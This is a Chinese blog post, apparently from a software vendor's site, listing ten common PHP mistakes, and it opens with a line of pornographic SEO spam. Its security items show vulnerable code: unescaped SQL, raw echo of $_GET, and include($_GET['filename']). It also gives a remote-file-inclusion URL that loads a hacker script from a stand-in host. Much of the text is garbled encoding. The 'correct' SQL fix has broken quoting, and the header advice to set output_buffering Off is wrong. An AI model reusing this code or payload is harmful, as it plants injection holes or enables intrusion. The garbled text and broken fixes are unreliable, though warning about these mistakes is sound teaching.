超碰人人人人人,亚洲AV午夜福利精品一区二区,亚洲欧美综合区丁香五月1区,日韩欧美亚洲系列

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

總結下PHP程序員最易犯10種錯誤

admin
2012年6月7日 16:51 本文熱度 3687
PHP是個偉大的web開發(fā)語言,靈活的語言,星爾也是非常只喜歡。php程序員周而復始的犯的一些錯誤。以下是PHP程序員經(jīng)常犯的10中錯誤,記載下來作為PHP學習筆記。
1. 不轉(zhuǎn)意SQL輸入
我曾經(jīng)在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法。有人對我說, 他們已經(jīng)在php.ini中將magic_quotes設置為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的!
如何修復:
和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用 mysql_real_escape_string()函數(shù)
正確做法:
<?php
$sql = “UPDATE users SET
name=’.mysql_real_escape_string($name).’
WHERE id=’.mysql_real_escape_string ($id).’”;
mysql_query($sql);
?>
2.不轉(zhuǎn)意html entities
一個基本的常識:所有不可信任的輸入(特別 是用戶從form中提交的數(shù)據(jù)) ,輸出之前都要轉(zhuǎn)意。
echo $_GET['usename'] ;
這個例 子有可能輸出:
<scrīpt>/*更改admin密碼的腳本或設置cookie的腳本*/</scrīpt>
這 是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。
如何修復 :
我們需要將”< “,”>”,”and” 等轉(zhuǎn)換成正確的HTML表示(< , >’, and “),函數(shù)htmlspecialchars 和 htmlentities()正是干這個活的。
正確的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
3. 語法錯誤
語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括 號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了!
4. Require 或 include 的文件使用不安全的數(shù)據(jù)
再次強調(diào):不要相信不是你自己顯式聲明的數(shù)據(jù)。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
現(xiàn)在任一個黑客現(xiàn)在都可以用:
http://www.yourdomain.com/index.php?filename=anyfile.txt
來 獲取你的機密信息,或執(zhí)行一個PHP腳本。
如果allow_url_fopen=On,你更是死定了:
試試這個輸入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
現(xiàn) 在你的網(wǎng)頁中包含了
http://www.youaredoomed.com/phphack.php的 輸出. 黑客可以發(fā)送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。
如何修復:
你必須自己控制哪些文件可以包含在 的include或require指令中。
下面是一個快速但不全面的解決方法:
<?
//Include only files that are allowed.
$allowedFiles = array(‘file1.txt’,’file2.txt’,’file3.txt’);
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit(‘not allowed’);
}
?>
5. 錯誤的使用HTTP-header 相關的函數(shù): header(), session_start(), setcookie()
遇到過這個警 告嗎?”warning: Cannot add header information – headers already sent [....]
每 次從服務器下載一個網(wǎng)頁的時候,服務器的輸出都分成兩個部分:頭部和正文。
頭部包含了一些非可視的數(shù)據(jù),例如cookie。頭部總是先到達。正文 部分包括可視的html,圖片等數(shù)據(jù)。
如果output_buffering設置為Off,所有的HTTP-header相關的函數(shù)必須在有輸出 之前調(diào)用。問題在于你在一個環(huán)境中開發(fā),而在部署到另一個環(huán)境中去的時候,output_buffering的設置可能不一樣。結果轉(zhuǎn)向停止 了,cookie和session都沒有正確的設置……..。
如何修復:
確保在輸出之前調(diào)用http-header相關 的函數(shù),并且令output_buffering = Off
6.很少使用或不用面向?qū)ο?
很多 的項目都沒有使用PHP的面向?qū)ο蠹夹g,結果就是代碼的維護變得非常耗時耗力。PHP支持的面向?qū)ο蠹夹g越來越多,越來越好,我們沒有理由不使用面向?qū)?象。
7. 不使用framework
95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現(xiàn)在有很多MVC的框架來幫我們完成這四件事,我們?yōu)楹尾皇褂盟麄兡兀?
8.使用 舊版本的PHP
很多程序員還在使用PHP4,在PHP4上開發(fā)不能充分發(fā)揮PHP的潛能,還存在一些安全的隱患。轉(zhuǎn)到PHP5上來吧,并 不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。
9. 不知道PHP中已經(jīng)有的功能
PHP 的核心包含很多功能。很多程序員重復的發(fā)明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發(fā)現(xiàn)!PHP中的exec()是一個強大的函數(shù),可以執(zhí)行cmd shell,并把執(zhí)行結果的最后一行以字符串的形式返回??紤]到安全可以使用EscapeShellCmd()
10.對引號做兩次轉(zhuǎn)意
見過網(wǎng)頁中出現(xiàn)\’或 \’”嗎?這通常是因為在開發(fā)者的環(huán)境中magic_quotes 設置為off,而在部署的服務器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數(shù)據(jù)上重復運行addslashes() 。
原始文本:
It’s a string
magic quotes on :
It\’s a string
又運行一次
addslashes():
It\\’s a string
HTML輸出:
It\’s a string
還有一種情況就是,用戶一開始輸入了錯誤的登錄信息, 服務器檢測到錯誤輸入后,輸出同樣的form要求用戶再次輸入,導致用戶的輸入轉(zhuǎn)意兩次。

該文章在 2012/6/7 16:51:40 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運作、調(diào)度、堆場、車隊、財務費用、相關報表等業(yè)務管理,結合碼頭的業(yè)務特點,圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved